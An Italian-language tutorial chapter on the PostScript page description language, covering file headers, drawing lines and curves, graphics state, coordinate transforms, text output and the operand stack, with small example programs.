
A ogni modo, gli esempi che si fanno sono stati verificati con Ghostscript e non con una vera stampante PostScript.

60.1 Impostazione generale

Un file PostScript è un file di testo, in cui le righe sono terminate indifferentemente con *<LF>* oppure con *<CR><LF>*, file che inizia con una riga simile al modello seguente:

```
%!PS-Adobe-livello_ps [EPSF-livello_eps]
```

Il livello è in pratica il numero di versione del linguaggio; per quanto riguarda il livello PostScript, si fa riferimento generalmente ai valori 1.0, 2.0 e 3.0. Il modello sintattico mostra la possibilità di aggiungere la stringa '**EPSF-*livello_eps***', con la quale si vuole specificare che si tratta di un file PostScript incapsulato. In altri termini, un file PostScript normale inizia più o meno come nell'esempio seguente, dove si fa riferimento al livello 2:

```
%!PS-Adobe-2.0
...
```

In tal caso si intende lavorare su una serie di pagine; al contrario, se si sta realizzando una sola immagine nell'ambito di uno spazio determinato, si aggiunge la dichiarazione del tipo incapsulato:

```
%!PS-Adobe-2.0 EPSF-1.2
...
```

In generale, il simbolo di percentuale ('**%**') serve a introdurre dei commenti che non generano un risultato nella stampa; tuttavia, una sequenza di due simboli di percentuale ha un ruolo speciale per la dichiarazione di direttive importanti; inoltre, la stessa dichiarazione iniziale del tipo di file è preceduta da un simbolo percentuale. In generale, onde evitare equivoci, si indica un commento con un solo simbolo di percentuale seguito da almeno uno spazio:

```
% testo_commentato
```

Il commento può essere piazzato ovunque, tenendo presente che vale dal punto in cui appare, fino alla fine della riga.

Le direttive particolari che iniziano con due simboli di percentuale hanno la forma seguente:

```
%%direttiva [: argomenti]
```

In pratica, il nome delle direttive deve essere attaccato ai segni di percentuale; inoltre, se è prevista l'aggiunta di argomenti alla direttiva, dopo il nome della stessa appaiono due punti, seguiti da almeno uno spazio e dopo dagli argomenti previsti. Quello che segue è l'esempio di una struttura possibile per un file PostScript articolato su più pagine:

```
%!PS-Adobe-2.0
%%Creator: nome_del_redattore_del_file
%%DocumentPaperSizes: formato
%%EndComments
[%%BeginProlog
  prologo
%%EndProlog]
%%Page: numero_mostrato pagina_reale
istruzioni_ps
showpage
[%%Page: numero_mostrato pagina_reale
istruzioni_ps
showpage]...
%%Trailer
%%EOF
```

Il tutto dovrebbe essere abbastanza intuitivo: le prime istruzioni speciali, fino a '**`%%EndComments`**', descrivono il documento specificando in particolare le dimensioni della pagina; le istruzioni racchiuse tra '**`%%BeginProlog`**' e '**`%%EndProlog`**' possono servire per dichiarare delle funzioni utilizzate nel documento; le istruzioni relative a ogni singola pagina sono introdotte da '**`%%Page:`** *m* *n*'; la visualizzazione della pagina, dopo la sua costruzione, si ottiene con l'istruzione '**`showpage`**'; il file termina con '**`%%Trailer`**' e '**`%%EOF`**'.

A questo punto, conviene vedere subito come si può articolare un file PostScript che non contiene pagine, ma una sola immagine:

```
%!PS-Adobe-2.0 EPSF-1.2
%%Creator: nome_del_redattore_del_file
%%BoundingBox: 0 0 larghezza_in_punti altezza_in_punti
%%EndComments
[%%BeginProlog
  prologo
%%EndProlog]
istruzioni_ps
showpage
%%Trailer
%%EOF
```

Si può osservare che la direttiva speciale '**`%%BoundingBox`**' va a sostituire

'**`%%DocumentPaperSizes`**', allo scopo di indicare l'area in cui vanno rappresentate le istruzioni.

A ogni modo, la direttiva '**`%%BoundingBox`**' può essere usata anche per un file PostScript diviso in pagine, quando si vuole indicare un formato non standard, oppure se si vuole essere precisi.

60.1.1 Piano di lavoro e unità di misura

Il linguaggio PostScript è predisposto per fare riferimento a oggetti su un piano cartesiano ideale, in cui l'unità di misura normale è il punto tipografico, corrispondente secondo questo linguaggio a 1/72-esimo di pollice, pari a circa 0,352 78 mm. In condizioni normali, la pagina è collocata sul piano cartesiano ideale come si vede nella figura 60.3, dove lo zero per x e y corrisponde esattamente con l'angolo inferiore sinistro; tuttavia, è consentita la definizione di pagine collocate in posizioni differenti, se questo può servire in qualche modo.

Figura 60.3. La pagina collocata su degli assi cartesiani ideali.

y
788
x,y = 595.3,788
x,y = 0,0
595.3
x

Gli oggetti grafici vengono disegnati sul piano cartesiano ideale; quello che risulta trovarsi sull'area della pagina può essere stampato.

60.1.2 Posizione corrente

Il PostScript può essere visto come un linguaggio per disegnare (tracciare curve, riempire delle aree e piazzare dei caratteri tipografici). Tutto questo avviene quasi sempre indicando delle coordinate, dove spesso la posizione di partenza ha importanza. Le coordinate iniziali si modificano con l'istruzione '**moveto**':

```
x y moveto
```

In pratica, si indicano due numeri, seguiti dalla parola chiave '**moveto**'. Il significato è molto semplice: il primo numero esprime la coordinata orizzontale (asse X), il secondo la coordinata verticale (asse Y). I valori si esprimono in punti tipografici.

60.1.3 Istruzioni speciali più importanti

Le istruzioni più importanti che iniziano con due segni di percentuale sono elencate brevemente nella tabella 60.4. Tuttavia, è il caso di aggiungere qualche piccola indicazione a proposito di alcune di queste.

Nessuna delle istruzioni che iniziano con due segni di percentuale è indispensabile; tuttavia alcune sono importanti. L'inserimento corretto di queste istruzioni rende il file PostScript più facile da gestire con gli strumenti comuni.

Tabella 60.4. Alcune istruzioni che iniziano con due segni di percentuale.

Istruzione	Descrizione
`%%Creator:` ***nome***	Il nome del programma che ha composto il file.
`%%DocumentPaperSizes:` ***formato***	Formato della carta.
`%%BoundingBox:` ***x_1 y_1 x_2 y_2***	Collocazione e dimensione della carta: da ***x_1***,***y_1*** a ***x_2***,***y_2***.
`%%Title:` ***titolo***	Titolo del documento.
`%%CreationDate:` ***data***	Data e ora di creazione del documento.
`%%Pages:` ***n***	Quantità di pagine contenuta.
`%%PageOrder: Ascend`|`Descend`	Ordine di apparizione delle pagine: ascendente o discendente.
`%%EndComments`	Fine dell'intestazione con le informazioni generali.
`%%BeginProlog`	Inizia un'area di definizione delle funzioni.
`%%EndProlog`	Termina l'area di definizione delle funzioni.
`%%BeginSetup`	Inizia un'area per l'inserimento di istruzioni di stampa.
`%%EndSetup`	Termina l'area delle istruzioni di stampa.

Istruzione	Descrizione
`%%Page: x n`	Inizia la pagina ***n***-esima, rappresentata come ***x***.
`%%Trailer`	Conclude la serie delle pagine.
`%%EOF`	Conclude definitivamente il file.

L'istruzione '**`%%DocumentPaperSizes`**' serve intuitivamente per elencare le dimensioni possibili delle pagine. In generale si indica una sola parola chiave che esprime sinteticamente la dimensione della pagina, come si vede nella tabella 60.5. Probabilmente non conviene andare al di fuori di pochi standard; eventualmente è preferibile indicare le coordinate esatte attraverso l'istruzione '**`%%BoundingBox`**'.

Tabella 60.5. Formati di stampa comuni, indicabili come argomento dell'istruzione '**`%%DocumentPaperSizes`**'. Le dimensioni non sono necessariamente quelle reali, ma quelle conosciute dal linguaggio PostScript.

formato	larghezza punti	altezza punti	larghezza pollici	altezza pollici	larghezza centimetri	altezza centimetri
letter	612	792	8,50	11,00	21,59	27,94
legal	612	1008	8,50	14,00	21,59	35,56
a3	842	1190	11,6944	16,5278	29,7	42
a4	595	842	8,26389	11,6944	21	29,7
a5	421	595	5,84722	8,26389	14,85	21
b4	709	1002	9,84722	13,9167	25,0119	35,3483
b5	501	709	6,95833	9,84722	17,6742	25,0119

'**`%%BoundingBox`**' consente di indicare la posizione dell'angolo inferiore sinistro e di quello superiore destro della pagina. Di solito, le prime due coordinate che esprimono proprio la posizione dell'angolo inferiore sinistro, sono azzerate, a indicare che si parte dallo zero degli assi cartesiani ideali della superficie.

60.1.4 Aspetto delle istruzioni normali

Le istruzioni PostScript sembrano non avere inizio e fine, perché si possono collocare su una o più righe indifferentemente, senza alcun segno di separazione. Per esempio, si può scrivere:

```
newpath
 100   100 moveto
 100   431 lineto
 350   431 lineto
 350   100 lineto
closepath
```

Oppure, indifferentemente:

```
newpath 100 100 moveto 100 431 lineto 350 431 lineto 350 100 lineto closepath
```

Naturalmente sono ammissibili tanti altri modi intermedi; comunque, è evidente che se si vuole scrivere del codice intelligibile occorre uno stile (come in tutti i linguaggi di programmazione).

La cosa che può apparire strana inizialmente è il fatto che i comandi che prevedono l'uso di argomenti, ricevono questi dati prima del nome del comando stesso. Per esempio, è già stata mostrata l'istruzione '**`moveto`**', la quale riceve l'indicazione delle coordinate prima del suo nome.

60.2 Linee e aree

La cosa più semplice che si può fare per cominciare a comprendere il linguaggio è quella di disegnare delle linee. In generale, il disegno avviene partendo dalle coordinate correnti, per cui questa indicazione non appare in modo esplicito, ma se necessario si definisce con uno spostamento attraverso l'istruzione '**`moveto`**'. Per le linee rette si possono usano le istruzioni '**`lineto`**' e '**`rlineto`**', dove la prima rappresenta un movimento con coordinate di destinazione assolute, mentre la seconda fa riferimento a coordinate di destinazione relative a quelle di partenza. Si osservino gli esempi seguenti, con cui si disegna lo stesso rettangolo largo 20 punti e alto 10 punti, a partire dalla coordinata ***x*** , ***y***=0 , 0:

```
  0     0 moveto
  0    10 lineto
 20    10 lineto
 20     0 lineto
  0     0 lineto
```

```
  0     0 moveto
  0    10 rlineto
 20     0 rlineto
  0   -10 rlineto
-20     0 rlineto
```

In pratica, l'istruzione '**`lineto`**' vuole l'indicazione del punto finale espresso come coordinata assoluta, mentre '**`rlineto`**' vuole una coordinata relativa alla posizione corrente.

Figura 60.10. Il rettangolo viene disegnato inserendo coordinate assolute, partendo dall'angolo inferiore sinistro e continuando con gli angoli successivi in senso orario.

x,y=0,10 x,y=20,10

x,y=0,0 x,y=20,0

Figura 60.11. Il rettangolo viene disegnato inserendo coordinate relative.

Il disegno non viene tracciato se alla fine non si aggiunge un'istruzione '**`stroke`**', la quale non richiede argomenti. Dopo un'istruzione '**`stroke`**' viene perduto il riferimento alle coordinate correnti, per cui, se necessario, si deve ricominciare con un'istruzione '**`moveto`**'. Si osservi l'esempio seguente, in cui lo stesso rettangolo viene disegnato un segmento alla volta, riposizionando sempre le coordinate iniziali:

```
   0     0 moveto
   0    10 lineto stroke
   0    10 moveto
  20    10 lineto stroke
  20    10 moveto
  20     0 lineto stroke
  20     0 moveto
   0     0 lineto stroke
```

Naturalmente, se si preferisce questo modo di utilizzo dell'istruzione '**`stroke`**', si può anche cambiare un po' lo stile di scrittura:

```
   0     0 moveto    0    10 lineto stroke
   0    10 moveto   20    10 lineto stroke
  20    10 moveto   20     0 lineto stroke
  20     0 moveto    0     0 lineto stroke
```

Le linee, oltre alla collocazione, hanno due caratteristiche importanti: lo spessore e il colore. Lo spessore predefinito dovrebbe essere di un punto, mentre il colore predefinito è il nero. Si modifica lo spessore delle linee con l'istruzione '**`setlinewidth`**' e la colorazione (grigia) con l'istruzione '**`setgray`**'. Entrambi ricevono un solo argomento numerico: nel primo caso esprime lo spessore della linea e nel secondo rappresenta la luminosità, con un valore che va da zero a uno (zero rappresenta il nero e uno rappresenta il bianco).

> Le istruzioni che alterano le caratteristiche delle linee, hanno effetto solo nel momento in cui appare l'istruzione '**`stroke`**'. In questo modo, si possono indicare le linee desiderate, quindi si possono cambiare le loro caratteristiche e infine si possono tracciare.

L'esempio seguente disegna lo stesso rettangolo già presentato, specificando un tratto di due punti tipografici di colore grigio (esattamente a metà tra il bianco e il nero). Si può osservare che le istruzioni '**`setlinewidth`**' e '**`setgray`**' sono state collocate subito prima dell'istruzione '**`stroke`**':

```
   0     0 moveto
   0    10 lineto
  20    10 lineto
  20     0 lineto
   0     0 lineto

         2 setlinewidth
         0 setgray
           stroke
```

Si possono tracciare delle linee per disegnare un poligono. L'esempio già visto rappresenta proprio un rettangolo, ma non è stato dichiarato esplicitamente il fatto che le linee devono congiungersi. Per farlo occorre dichiarare un percorso, con l'istruzione '**`newpath`**', che si conclude con '**`closepath`**'. Si osservi la variante seguente al disegno del rettangolo:

```
newpath
   0     0 moveto
   0    10 lineto
  20    10 lineto
  20     0 lineto
closepath

   2 setlinewidth
   0 setgray

stroke
```

In pratica, si tracciano le prime tre linee, mentre l'ultima viene indicata implicitamente con la richiesta di chiudere il percorso con l'istruzione '**`closepath`**'.

Il fatto di avere realizzato un poligono, consente di definire il colore di riempimento. In condizioni normali, quando non è stato fissato alcunché, il poligono è trasparente, mentre se si fissa un riempimento diventa opaco e il colore ricopre anche il bordo tracciato con le linee. Infatti, il bordo ha lo stesso colore fissato con l'istruzione '**`setgray`**', per cui tutto diventa dello stesso colore. Il colore di riempimento si definisce con l'istruzione '**`fill`**' e il colore usato è quello già fissato con l'istruzione '**`setgray`**'.

```
newpath
   0     0 moveto
   0    10 lineto
  20    10 lineto
  20     0 lineto
closepath

%  2   setlinewidth
   0.5 setgray
       fill
stroke
```

L'esempio mostra l'utilizzo dell'istruzione '**`fill`**' per colorare il rettangolo di grigio. Dal

momento che lo spessore delle linee non serve più, l'istruzione relativa è stata commentata. Volendo mettere un bordo a questo rettangolo, occorre ridisegnarne sopra un altro trasparente, con il tratto desiderato:

```
newpath
   0     0 moveto
   0    10 lineto
  20    10 lineto
  20     0 lineto
closepath

   0.5 setgray
       fill
       stroke

newpath
   0     0 moveto
   0    10 lineto
  20    10 lineto
  20     0 lineto
closepath

   2   setlinewidth
   0   setgray
       stroke
```

Per terminare l'argomento sulle linee e sui poligoni, conviene mostrare un esempio completo che poi appare nella figura 60.19. Si osservi che il rettangolo viene disegnato da 1,1 a 21,11, utilizzando l'area da 0,0 a 22,12, la quale costituisce lo stretto indispensabile per dare lo spazio allo spessore della linea che è di due punti.

```
%!PS-Adobe-2.0 EPSF-1.2
%%Creator: Daniele Giacomini
%%BoundingBox: 0 0 22 12
%%EndComments

% Disegna un rettangolo

newpath
   1     1 moveto
   1    11 lineto
  21    11 lineto
  21     1 lineto
closepath

   0.5 setgray
       fill
       stroke
```

```
newpath
   1     1 moveto
   1    11 lineto
  21    11 lineto
  21     1 lineto
closepath

   2   setlinewidth
   0   setgray
       stroke

showpage

%%Trailer
%%EOF
```

Figura 60.19. Il rettangolo riempito e bordato. Il contorno è molto largo, ma è proporzionato rispetto al rettangolo che è alto solo 10 punti.

60.2.1 Archi e curve

Si può disegnare un arco o un cerchio completo con l'istruzione '**`arc`**'. In questo caso, non c'è bisogno di fare riferimento a una posizione corrente; anzi, è meglio eliminare tale informazione con un'istruzione '**`stroke`**' preventiva. L'istruzione '**`arc`**' richiede l'indicazione delle coordinate del centro del cerchio, la lunghezza del raggio, l'angolo di partenza e l'angolo di destinazione in direzione antioraria. L'esempio seguente disegna un arco con centro nella posizione x , y=100 , 150, con raggio di 50 punti, da 0 a 90 gradi:

```
100 150 50 0 90 arc
```

In pratica, si tratta di quanto si vede nella figura 60.21.

Figura 60.21. Arco di cerchio disegnato da 0 a 90 gradi.

Se prima di disegnare il cerchio o l'arco di cerchio si tracciano altre linee, è conveniente chiudere i disegni precedenti con l'istruzione '**`stroke`**', per evitare di avere delle coordinate correnti attive nel momento in cui si usa l'istruzione '**`arc`**'. Diversamente, si otterrebbe una linea che collega le coordinate iniziali con il punto di partenza dell'arco disegnato.

Per disegnare un cerchio completo, basta indicare l'intervallo di angoli da 0 a 360 gradi. Se si vuole riempire il cerchio, non è necessario utilizzare le istruzioni '**`newpath`**' e '**`closepath`**', perché si ottiene sempre un riempimento, anche quando il cerchio non è completo.

Il disegno di una curva è invece più complicato: si usa l'istruzione '**`curveto`**', ma oltre alle coordinate di destinazione, bisogna indicare la tangente del punto di inizio e del punto di destinazione. Prima di dare altre spiegazioni, conviene partire da un esempio visivo, come si vede nella figura 60.23. La curva da prendere in considerazione è rappresentata con un tratto più scuro. Si possono vedere due linee oblique, che partono rispettivamente dal punto di inizio e dal punto di arrivo della curva: si tratta delle tangenti che stabiliscono la curvatura di partenza e di arrivo della linea disegnata. L'istruzione necessaria a disegnare questa curva è la seguente:

```
    0   50  moveto
  200  100    0    0  200   50  curveto
```

Figura 60.23. Esempio di una curva in cui sono evidenti le tangenti.

In pratica:

- le coordinate di partenza sono ***x*** , ***y***=0 , 50;
- la prima tangente è la linea che va da ***x*** , ***y***=0 , 50 (le coordinate di partenza) a ***x*** , ***y***=200 , 100;
- la seconda tangente è la linea che va da ***x*** , ***y***=200 , 50 (le coordinate di arrivo) a ***x*** , ***y***=0 , 0;
- le coordinate di arrivo sono ***x*** , ***y***=200 , 50.

Naturalmente, la lunghezza delle linee indicate come tangenti rende più o meno importante la curvatura relativa. Si osservi, nella figura 60.25, come si trasforma il disegno se si accorcia la linea tangente di arrivo come nell'esempio seguente:

```
    0   50  moveto
  200  100    100    25  200   50  curveto
```

Figura 60.25. Esempio di una curva in cui sono evidenti le tangenti.

Il modello sintattico per l'utilizzo dell'istruzione '**`curveto`**' è quindi il seguente:

> *x_tangente_inizio y_tangente_inizio x_tangente_fine y_tangente_fine* ↩
> ↪*x_fine_curva y_fine_curva* `curveto`

60.3 Salvare e recuperare le impostazioni grafiche

Le impostazioni grafiche, come quelle che si possono fissare con le istruzioni '**`setlinewidth`**' e '**`setgray`**', possono essere salvate e recuperate da una pila apposita. Si utilizza l'istruzione '**`gsave`**' per salvare l'impostazione corrente e '**`grestore`**' per recuperare le ultime impostazioni salvate. Si osservi l'esempio seguente:

```
1 setlinewidth
gsave
2 setlinewidth
gsave
4 setlinewidth
 50 120  moveto
200 120  lineto
stroke
grestore
 50 125  moveto
200 125  lineto
stroke
grestore
 50 130  moveto
200 130  lineto
stroke
```

Vengono accumulati tre spessori differenti per le linee, quindi si procede disegnando tre linee, dopo ognuna delle quali viene recuperata l'ultima impostazione grafica. In pratica, la linea da 50,120 a 200,120 viene disegnata con un tratto di quattro punti; la linea da 50,125 a 200,125 viene disegnata con un tratto di tre punti; la linea da 50,130 a 200,130 viene disegnata con un tratto di un punto di spessore.

Quando si disegna qualcosa, può essere opportuno racchiudere le modifiche alle caratteristiche entro una coppia '**`gsave`**'-'**`grestore`**', onde evitare di coinvolgere le impostazioni precedenti, che potrebbero riguardare il resto del file:

```
gsave
4 setlinewidth
 50 120  moveto
200 120  lineto
stroke
grestore
```

Nell'esempio che appare sopra, si inizia salvando le impostazioni e impostando uno spessore di quattro punti. Viene quindi indicata la linea e fissata con l'istruzione '**`stroke`**'. Al termine si recuperano le impostazioni grafiche. Nello stesso modo, si potrebbero salvare e modificare le impostazioni grafiche subito prima dell'istruzione '**`stroke`**':

```
 50 120  moveto
200 120  lineto
gsave
4 setlinewidth
stroke
grestore
```

Attraverso la tecnica del salvataggio e del recupero delle caratteristiche grafiche, è possibile disegnare un poligono bordato senza dover ripetere due volte il tratto del contorno. In pratica, il comando di riempimento viene dato entro un ambiente protetto da '**`gsave`**' e '**`grestore`**', come si vede nell'esempio seguente:

```
%!PS-Adobe-2.0 EPSF-1.2
%%Creator: Daniele Giacomini
%%BoundingBox: 0 0 22 12
%%EndComments

% Disegna un rettangolo

newpath
   1     1 moveto
   1    11 lineto
  21    11 lineto
  21     1 lineto
closepath

gsave
   0.5 setgray
       fill
grestore
   2   setlinewidth
   0   setgray
       stroke
```

```
showpage

%%Trailer
%%EOF
```

Il risultato è identico a quanto già visto nella figura 60.19.

60.4 Spostamento del piano cartesiano e modifica della scala

È possibile spostare la posizione della superficie prima di dare altre istruzioni di scrittura di qualunque tipo. Si tratta in particolare delle istruzioni '**`translate`**' e di '**`rotate`**'. La prima di queste due sposta le coordinate 0 , 0 in una posizione nuova, prendendo come riferimento le coordinate precedenti; la seconda ruota gli assi attorno alle coordinate 0 , 0. Per esempio, con le istruzioni seguenti si ottiene una linea orizzontale dalla posizione 100 , 150 alla posizione 150 , 150:

```
 50 100 translate
 50  50 moveto
100  50 lineto
stroke
```

Infatti, l'istruzione '**`translate`**' sposta le coordinate 0 , 0 verso 50 , 100, secondo la collocazione precedente. La figura 60.31 mostra la collocazione iniziale e lo spostamento; la linea disegnata è quella che appare con tratto più scuro.

Figura 60.31. Esempio riferito a uno spostamento degli assi.

L’istruzione ‘`rotate`’ fa ruotare il piano cartesiano sul centro delle coordinate 0 , 0. La figura 60.33 mostra cosa accade se si sposta lo zero nella posizione 0 , 0 e poi si ruota di 30 gradi, con le istruzioni seguenti:

```
   50   50  translate
   30  rotate

   50   50  moveto
  100   50  lineto
stroke
```

Figura 60.33. Esempio riferito a uno spostamento e a una rotazione degli assi.

Lo spostamento e la rotazione del piano sono informazioni che possono essere salvate e recuperate con le istruzioni ‘`gsave`’ e ‘`grestore`’. Pertanto, prima di uno spostamento o di una rotazione, conviene salvare la situazione, per recuperarla quando questi cambiamenti non servono più.

```
gsave
   50   50  translate
   30  rotate

   50   50  moveto
  100   50  lineto
stroke
grestore
```

Oltre allo spostamento e alla rotazione del piano, si può modificare la scala, con l’istruzione ‘`scale`’. Gli argomenti dell’istruzione sono due valori che esprimono il rapporto nei confronti dell’asse X e nei confronti dell’asse Y. Dopo la modifica della scala, le coordinate 0 , 0 rimangono centrate sulla stessa posizione iniziale. L’esempio seguente serve a fare in modo che la

scala dell'asse Y risulti schiacciata alla metà del valore precedente, mentre l'asse X non viene modificato:

```
1 0.5 scale
```

Anche le alterazioni della scala possono essere recuperate da un'istruzione '**grestore**'.

60.5 Ripetizione

Un gruppo di istruzioni, racchiuso tra parentesi graffe, può essere ripetuto più volte con l'istruzione '**repeat**':

```
n {istruzioni} repeat
```

Evidentemente, perché ciò abbia un senso, è necessario che le istruzioni da ripetere creino ogni volta un cambiamento, come una rotazione o uno spostamento di assi. Per esempio,

```
36 {10 rotate 10 10 moveto 30 30 lineto} repeat
stroke
```

Disegna una stellina attorno alle coordinate 0 , 0, con un diametro di 80 punti. In questo caso, la rotazione riporta alla fine gli assi nella posizione di partenza, ma in generale conviene salvare e ripristinare la situazione:

```
gsave
36 {10 rotate 10 10 moveto 30 30 lineto} repeat
stroke
grestore
```

Figura 60.38. Esempio di un disegno ottenuto con la rotazione.

60.6 Testo

Per poter scrivere sulla superficie del foglio, è necessario selezionare il tipo di carattere e la dimensione prima di tutto. Questo si ottiene con alcune istruzioni che conviene usare assieme:

```
/carattere findfont dimensione scalefont setfont
```

Per esempio, per usare il carattere Helvetica alto 12 punti, si usa l'istruzione seguente:

```
/Helvetica findfont 12 scalefont setfont
```

La scrittura vera e propria avviene con l'istruzione '**show**', con la quale si colloca il testo a partire dalle coordinate correnti, per cui si fa precedere normalmente da un'istruzione '**moveto**':

```
(testo) show
```

Come si vede dal modello sintattico, il testo deve essere scritto tra parentesi tonde e collocato prima della parola chiave '**show**'.

Dovendo usare le parentesi tonde per delimitare il testo da visualizzare, deve esserci un modo per poter togliere a queste il valore sintattico normale, quando c'è la necessità di rappresentarle nel testo. In pratica si usano le sequenze '**\(**' e '**\)**' per rappresentarle; inoltre, dal momento che la barra obliqua inversa ha un significato speciale, per rappresentare questa si usa la sequenza '****'. La tabella 60.40 riepiloga le sequenze speciali più importanti per il testo delimitato tra parentesi tonde.

Tabella 60.40. Alcune sequenze speciali per la scrittura di testo delimitato da parentesi tonde, con l'istruzione '**show**'.

Sequenza	Descrizione
`\\`	Barra obliqua inversa.
`\(`	Parentesi tonda aperta.
`\)`	Parentesi tonda chiusa.
`\`***nnn***	Simbolo corrispondente al numero, in ottale, secondo la codifica attuale.

Se si seleziona un carattere non disponibile, viene utilizzato il Courier. La tabella 60.41 elenca i nomi standard dei tipi di carattere fondamentali che si possono utilizzare con il linguaggio PostScript.

Tabella 60.41. Nomi dei tipi di carattere comuni che possono essere utilizzati con il linguaggio PostScript.

Nome	Descrizione
`Times` `Times-Roman`	Times normale.
`Times-Italic`	Times corsivo.
`Times-Bold`	Times neretto.
`Times-BoldItalic`	Times neretto inclinato.
`Helvetica`	Helvetica normale.
`Helvetica-Oblique`	Helvetica inclinato.
`Helvetica-Bold`	Helvetica neretto.
`Helvetica-BoldOblique`	Helvetica neretto inclinato.
`Courier`	Courier normale.
`Courier-Oblique`	Courier inclinato.
`Courier-Bold`	Courier neretto.
`Courier-BoldOblique`	Courier neretto inclinato.
`Symbol`	Symbol.

Un'istruzione simile a '**`show`**', si occupa di visualizzare il testo, controllandone lo spostamento in corrispondenza di un simbolo particolare:

```
x y n (testo) widthshow
```

L'istruzione '**`widthshow`**' serve a fissare uno spostamento orizzontale (***x***) e uno spostamento verticale (***y***), subito dopo il simbolo corrispondente al numero ***n***. In pratica, se alla fine di ogni spazio si vuole aggiungere uno spazio orizzontale di due punti, si usa la forma seguente:

```
2 0 32 (testo) widthshow
```

Questa è anche la situazione tipica, in cui si vuole allargare lo spazio tra le parole, per adattare la riga scritta alla larghezza disponibile. Naturalmente, lo spazio normale può anche essere ridotto, se lo si desidera, utilizzando valori orizzontali negativi, come nell'esempio seguente:

```
-1 0 32 (testo) widthshow
```

Se si attribuisce un valore anche al secondo argomento numerico, si ottiene uno spostamento verticale, come nell'esempio seguente, in cui ogni parola viene alzata di due punti rispetto alla precedente:

```
0 2 32 (testo) widthshow
```

60.7 Salvataggio e recupero delle impostazioni della pagina nel complesso

Quando si scrive un documento composto da diverse pagine, diventa utile la possibilità di recuperare le impostazioni precedenti, prima di passare alla pagina successiva. È già stata presentata la coppia di istruzioni '**`gsave`**' e '**`grestore`**', specifica per le impostazioni grafiche. Per tutto, si può usare invece la coppia '**`save`**' e '**`restore`**'. Di solito si inizia una pagina con '**`save`**' e si conclude con '**`restore`**', in modo da garantire il recupero di tutto, senza dimenticare qualcosa.

```
%!PS-Adobe-2.0
%%Creator: nome_del_redattore_del_file
%%DocumentPaperSizes: formato
%%EndComments
[%%BeginProlog
  prologo
%%EndProlog]
%%Page: numero_mostrato pagina_reale
save
istruzioni_ps
showpage
restore
[%%Page: numero_mostrato pagina_reale
save
istruzioni_ps
showpage
restore]...
%%Trailer
%%EOF
```

Le istruzioni '**`save`**' e '**`restore`**' dovrebbero essere sempre annidate correttamente, nel senso che ogni istruzione '**`restore`**' va a recuperare l'ultima istruzione '**`save`**' che non sia già stata presa in considerazione da un altro '**`restore`**'. Se viene eseguito un '**`restore`**' che non risulta abbinato a un'istruzione '**`save`**', si genera un errore irreversibile.

Per ovviare all'inconveniente di dover seguire attentamente l'uso delle istruzioni '**`save`**' e '**`restore`**', si può attribuire un «nome» a un'istruzione '**`save`**', richiamando lo stesso nome nel momento del '**`restore`**':

```
/nome save def
...
...
...
nome restore
```

La cosa non è molto intuitiva, ma funziona così: il nome che viene dichiarato nel momento dell'uso dell'istruzione '**save**', viene posto davanti all'istruzione '**restore**'. Se nello spazio tra queste due istruzioni appaiono altre istruzioni '**save**', queste sono tutte annullate. Segue un esempio:

```
/Mia_Configurazione_Predefinita save def
...
...
...
Mia_Configurazione_Predefinita restore
```

Tabella 60.46. Tabella riassuntiva delle istruzioni più semplici del linguaggio PostScript.

Istruzione	Descrizione
x y `moveto`	Cambia le coordinate correnti senza disegnare.
x y `rmoveto`	Cambia le coordinate correnti in modo relativo.
x y `lineto`	Traccia una linea fino alle coordinate assolute indicate.
x y `rlineto`	Traccia una linea fino alle coordinate relative indicate.
x y m n o `arc`	Arco con centro in ***x*** , ***y***, raggio ***m***, da ***n*** a ***o*** gradi, in senso antiorario.
x y m n o `arcn`	Arco con centro in ***x*** , ***y***, raggio ***m***, da ***n*** a ***o*** gradi, in senso orario.
x y x y x y `curveto`	Curva indicando le coordinate di arrivo delle tangenti e infine della curva.
x y `translate`	Fa sì che ***x*** , ***y*** corrispondano alle nuove coordinate 0 , 0.
n `rotate`	Ruota di ***n*** il fondo, con centro sulle coordinate 0 , 0.
n `{`***istruzioni***`}` `repeat`	Ripete ***n*** volte le istruzioni tra parentesi graffe.
n `setlinewidth`	Spessore delle linee.
n `setgray`	Colorazione grigia: 0=nero; 1=bianco.
`fill`	Riempie i poligoni e le aree racchiuse entro le curve.
`newpath`	Inizia a disegnare un oggetto nuovo.
`closepath`	Unisce l'ultimo punto disegnato con il punto di partenza.

Istruzione	Descrizione
`stroke`	Fissa le linee tracciate.
`gsave`	Accumula le impostazioni grafiche.
`grestore`	Recupera le impostazioni.
`save`	Accumula tutte le impostazioni della pagina.
`restore`	Recupera le impostazioni della pagina.
`/`***nome*** `save def`	Accumula tutte le impostazioni dichiarando un nome.
nome `restore`	Recupera le impostazioni riferite a quel nome.
`/`***nome*** `findfont` ***dim*** ↩ ↪`scalefont setfont`	Seleziona il carattere e la dimensione indicata.
`(`***testo***`) show`	Scrive il testo indicato usando il carattere già stabilito.
x ***y*** ***n*** `(`***testo***`) widthshow`	Scrive il testo indicato con uno spostamento ***x*** , ***y*** alla fine del simbolo ***n***.
x `0 32 (`***testo***`) widthshow`	Scrive il testo indicato con l'aggiunta di uno spazio di ***x*** tra le parole.

60.8 La pila

Per poter scrivere codice PostScript un po' più complesso, diventa necessario l'utilizzo di istruzioni che realizzano delle espressioni, fino ad arrivare alla costruzione di funzioni (procedure) che possono essere richiamate successivamente. Purtroppo, le espressioni realizzate con questo linguaggio, diventano un po' complicate da leggere. Infatti, queste funzioni ricevono i loro argomenti prelevandoli da una pila (*stack*) ed emettono risultati inserendoli nella stessa pila.

dato... ***funzione***

Osservando il modello, le informazioni che non sono riconducibili a nomi di funzione, vengono inserite in questa pila, che poi la prima funzione inizia a leggere. Si osservi l'istruzione seguente:

```
1 2 3 4 5 6 7 8 9 moveto lineto
```

I valori da uno a nove, vengono inseriti così come sono nella pila, poi ogni funzione preleva dalla pila la quantità di argomenti che la riguarda. In questo caso, '**`moveto`**' preleva gli ultimi due valori a essere stati inseriti, precisamente la coppia otto e nove, spostando le coordinate correnti in 8 , 9; successivamente è il turno di '**`lineto`**', la quale preleva altri due valori, precisamente il sei e il sette, tracciando una linea fino al punto 6 , 7. Pertanto, tutto è come se fosse scritto nel modo seguente:

```
8 9 moveto 6 7 lineto
```

Tuttavia, rimangono ancora altri valori nella pila, per altre funzioni successive, ammesso che vogliano usarli, perché se si inseriscono altri valori, questi ultimi vengono poi estratti per primi.

